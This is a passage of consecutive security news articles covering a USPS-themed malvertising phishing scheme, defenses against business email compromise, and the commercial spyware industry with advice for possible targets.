This might arouse suspicion, but likely not, as it's pretty typical for someone tracking a package to receive this type of notification, Segura noted. However, the next step of the attack — in which users are then asked to enter their full address again as well as submit their credit-card data to pay a small fee of 35 cents — should raise a red flag, he said.

It's at this point where victims enter the phishing site and attackers can steal their data, making the small fee "completely irrelevant," since giving up payment-card data — which can be used by the threat actor or resold on criminal markets — can result in much more damage to someone, Segura observed.

The final step of the attack is a request that victims enter credentials for their financial institution through a dynamic page that generates a template based on the credit-card info provided. For instance, if a person submits data for a Visa card associated with JP Morgan Bank, the page will ask the target to login to the JP Morgan page. Other banks and cards will result in different templates specific to the data provided, Segura said, similar to how banking Trojan overlays work.

**Recommendations to Thwart Malvertising**

As mentioned, malvertising is already a well-known method used by cybercriminals to steal user credentials. However, while awareness is key to avoid falling victim to a campaign, "training can only go so far" because of how legitimate modern malicious scams created by attackers look, Segura wrote.

One way to stop these campaigns before they reach end users is for search engines to apply stricter controls to combat the brand impersonation that threat actors have adopted so successfully, he said.

"When it comes to software downloads, one solution that comes to mind is reserving a placeholder for the official download page and never allowing an ad to take this spot, Segura wrote, noting that Microsoft's Bing already has applied policy with success.

Applying real-time browser protection that can disrupt the malvertising kill chain from the initial ad all the way to the payload — whether it be malware, phishing, or another type of scam — also can prevent and mitigate this type of attack.

Google Searches for 'USPS Package Tracking' Lead to Banking Theft

Email fraud is a confidence game that costs the economy billions. An effective defense takes technology and vigilance.

Last year the FBI registered over 21,000 complaints about business email fraud, with adjusted losses of over $2.7 billion. Today this line of attack shows no sign of slowing down. Business email compromise (BEC) techniques are increasingly sophisticated; cybercrime-as-a-service (CasS) has lowered the barrier to entry for threat actors while also making it easier to evade "impossible travel" alerts, among other safeguards. 

BEC is a confidence game. The technology aspects — links that download malware, take users to spoofed sites, or motivate a financial transaction — require social engineering to gain trust and motivate a click. 

What are threat actors looking for? Along with useful data like employee records, payroll information, and proprietary business records, BEC actors want to convince someone to fulfill a request for payment or funds transfer using messages that look legitimate, with logos and designs that are copies of the real thing. 

With BEC fast becoming a specialty of cybercriminals, security teams need to stay ahead of these evolving threats. Through a combination of technology, policy, and culture, enterprise security teams can help preempt attacks and mitigate the risks of email fraud. Let’s look at how BEC works, along with six key steps to mitigate the risk.

**As-a-Service Fuels BEC Growth**

Phishing-as-a-service providers make it easy for threat actors to produce effective, authentic-looking BEC campaigns without needing high-level tech skills of their own. Criminal platforms, such as BulletProftLink, go even further, selling templates, automated services, and even a hosting platform. This not only opens up BEC as an avenue to any criminal organization willing to pay, but it also accelerates the ramp-up time, making it fast and easy to launch new campaigns.

**Localizing the Threat**

Most importantly, in a new trend BEC threat actors are also purchasing residential IP addresses from residential IP services, enabling them to mask where their emails originate. Armed with localized address space to support their malicious activities (in addition to usernames and passwords), BEC attackers can obscure movements, circumvent "impossible travel" flags, and open a gateway to conduct further attacks. 

Impossible travel alerts indicate that a user account might be compromised. They flag physical restrictions that indicate a task is being performed in two locations, without the appropriate amount of time to travel from one location to the other. The specialization and consolidation of this sector of the cybercrime economy could escalate the use of residential IP addresses to evade detection.

**Defend Against BEC**

There are six key tips security teams can apply. Some can be implemented immediately, while others will require long-term thinking and reinforcement. 

*   **Inbox protection:** Configure mail systems to flag messages from outside of the enterprise. Enable alerts about unverified senders, and block senders who can’t be independently identified.

*   **Strong authentication:** Enabling multifactor authentication makes it harder for attackers to compromise user email.

*   **Secure email:** Cloud platforms with artificial intelligence and machine learning can provide enhanced protection, continuous updates, and centralized management of security policies.

*   **Identity and access management:** Control access to the organization's apps and data with zero trust and automated identity governance.

*   **Secure payments:** Replace emailed invoices with a system that authenticates payments and providers.

*   **Education and empowerment:** Regularly train and remind employees to think twice before clicking. Establish and enforce policies requiring employees to verify payment requests — not by clicking the link in the email, but with a phone call. Teach employees to take the initiative to stop BEC scams, and be sure to reinforce the consequences that a single mistake can cause.

Policy and governance are crucial to helping stop BEC. Security by default — for example, a domain-based message authentication, reporting, and conformance (DMARC) policy of "reject" — ensures that unauthenticated messages are rejected at the mail server. Updating policies for accounting, internal controls, payroll, and HR can help employees know how to handle inbound requests for access, money, or personal information, such as their Social Security numbers.

Thwarting BEC threat actors takes vigilance and an ongoing commitment. As their techniques get more sophisticated, their tricks become harder to spot. Putting the brakes on this con game takes the entire organization, from the C-suite and IT, compliance, and risk management teams to every business unit. Awareness, backed by policy and technology, is the crucial factor in a consistently strong defense.

6 Steps To Outsmart Business Email Compromise Scammers

Commercial spyware has become so notorious that international governments are taking notice and action against it, as evidenced by the Biden administration’s recent Executive Order on commercial spyware.

Thursday, July 6, 2023 08:07

Attackers have long used commercial products developed by legitimate companies to compromise targeted devices. These products are known as commercial spyware. Commercial spyware operations mainly target mobile platforms with zero- or one-click zero-day exploits to deliver spyware. This threat initially came to light with the leaks of HackingTeam back in 2015, but gained new notoriety with public reporting on the NSO Group, and, in the years that have followed, the landscape has exploded.

There are now numerous companies with similar offerings, like Intellexa, DSIRF, Variston IT, and the newly disclosed Quadream representing just a small subset — there are likely more that are operating covertly today.

Commercial spyware has become so notorious that international governments are taking notice and action against it, as evidenced by the Biden administration’s recent Executive Order on commercial spyware. A recent report from the United Kingdom’s National CyberSecurity Center (NCSC) highlights the accessibility of these tools “lowers the barrier to entry to state and non-state actors in obtaining capability and intelligence.” As recently as June 2023, the European Parliament’s plenary session voted on an ongoing investigation concerning the illicit usage of NSO’s Pegasus and equivalent surveillance spyware by EU member states (PEGA report). In this session, European Parliament members argued that the illicit usage of spyware has put “democracy itself at stake” and called for legislative changes and stricter regulation of the use of commercial spyware. The full press release and report can be found here.

**Commercial spyware companies don't care who is targeted by their products**

Commercial spyware companies advertise their products simply as a means of obtaining access and deny having any knowledge of who their customers’ targets are. This tactic is possibly a means of plausible deniability in the event that illegal targeting of individuals is traced back to their spyware. To avoid legal repercussions, these companies have headquarters in countries that do not have laws governing the export of their products or which classify the entities as IT service providers, effectively removing them from any product liability. These companies can therefore ultimately sell to whomever can pay without regard for who the intended targets are or what the impacts on the victims might be.

Although advertised as “tools” for law enforcement and government agencies strictly intended for legal use, report after report has shown commercial spyware has consistently been used against ethically questionable targets that don't fit the profile of criminals or terrorists. Such targets have repeatedly been journalists, politicians and activists who the host government perceives as competitors or existential threats. While these technologies may exist to fight terrorism and organized crime, their sale and usage must be regulated and subject to scrutiny by judicial authorities at an international level to prevent their misuse and abuse.  

One such example of limited repercussions within a host state is the case where a journalist in Greece was targeted with Predator Spyware, eventually leading to the resignation of Greece’s National Intelligence Service’s director in 2022 and the subsequent ban on the use of commercial spyware in Greece. Earlier in 2022, we also saw the departure of the NSO group’s CEO from the company amid widespread public outrage over the use of their spyware by Israeli Police forces.

**The untethered future of commercial spyware**

Mobile platform developers such as Google and Apple have repeatedly introduced and implemented protections and mitigations in their operating systems. However, commercial spyware providers often use zero-day, zero-click exploits to compromise victims’ mobile devices and are so confident in their ability to repeatedly compromise phones _without getting caught_ that, in some cases, they don't even deploy persistence mechanisms — a simple device reboot is enough to remove the implant from the device. However, a device reboot simply results in the commercial spyware outfit reinfecting the device using the zero-day, zero-click combination they had used during the initial compromise indicating the aggressive nature of these campaigns.

We see no indications that these commercial spyware offerings are slowing down. If anything, they are growing along with the constant availability of exploitable, unpatched/unknown vulnerabilities. Until the international community acts to regulate the technology, very little is going to change. When exposed by researchers, some of these companies just cease to exist. But in reality, they do not shut down, they just rebrand under a different name or merge with others sharing the technology they have produced. A typical example of such a case is the commercial spyware firm Cytrox, which was on the verge of disappearing, but was subsequently “rescued” and is now part of the Intellexa conglomerate.

Private and government organizations have taken steps to legally curb the use of commercial spyware, including attempts to hold them responsible for their actions in the past. Meta, formerly Facebook, is one of the first to move against commercial spyware companies by opening a lawsuit against the NSO Group for leveraging Meta-owned WhatsApp in their infection chain. The Biden administration has also taken an important step in fighting these companies with the Executive Order putting limitations on the U.S. government's ability to use commercial spyware to “discourage the improper use of commercial spyware; and encourage the development and implementation of responsible norms regarding the use of commercial spyware that are consistent with respect for the rule of law, human rights, and democratic norms and values.”

However, limited legal and legislative actions are yet to have an _immediate_ positive effect on curbing the use of commercial spyware. Despite these steps toward limiting the operations of these spyware companies, they are likely to keep operating in any region as long as it's financially and legally feasible. Increasing scrutiny with export regulations, criminal liability and fines may be a way forward towards ensuring that their activity does not go beyond the legitimate purposes they advertise.

**Risk profile**

For almost everyone on the planet, your Apple or Android phone’s built-in security features are more than sufficient to keep you protected. However, the commercial spyware industry has proven that it is easy to compromise targets if you have access to these products and the means to use them. We've seen numerous deeply concerning reports of people being compromised and are commonly met with the news that it was a journalist or dissident. The ability of these companies to repeatedly compromise devices, regardless of patch level, makes protection difficult.

For those that believe they are being or could be targeted by commercial spyware, rebooting the device before contacting a source or switching to lockdown mode might be the only options for the foreseeable future.

If you feel that you have been targeted by commercial spyware, there are also more generic habits that should be part of your daily routine:

*   Reboot your device regularly.
*   Use lockdown mode if your device is an iPhone.
*   Don’t click on links from dubious sources.
*   Don’t accept private messages from unknown persons.
*   If you have to keep a public contact, use an empty device to receive such contacts and reset it frequently.
*   Keep your devices up-to-date.

_If readers suspect their system(s) may have been compromised by commercial spyware or hack-for-hire groups, please consider notifying Talos’ research team at talos-mercenary-spyware-help@external.cisco.com to assist in furthering the community’s knowledge of these threats._

Tag

#intel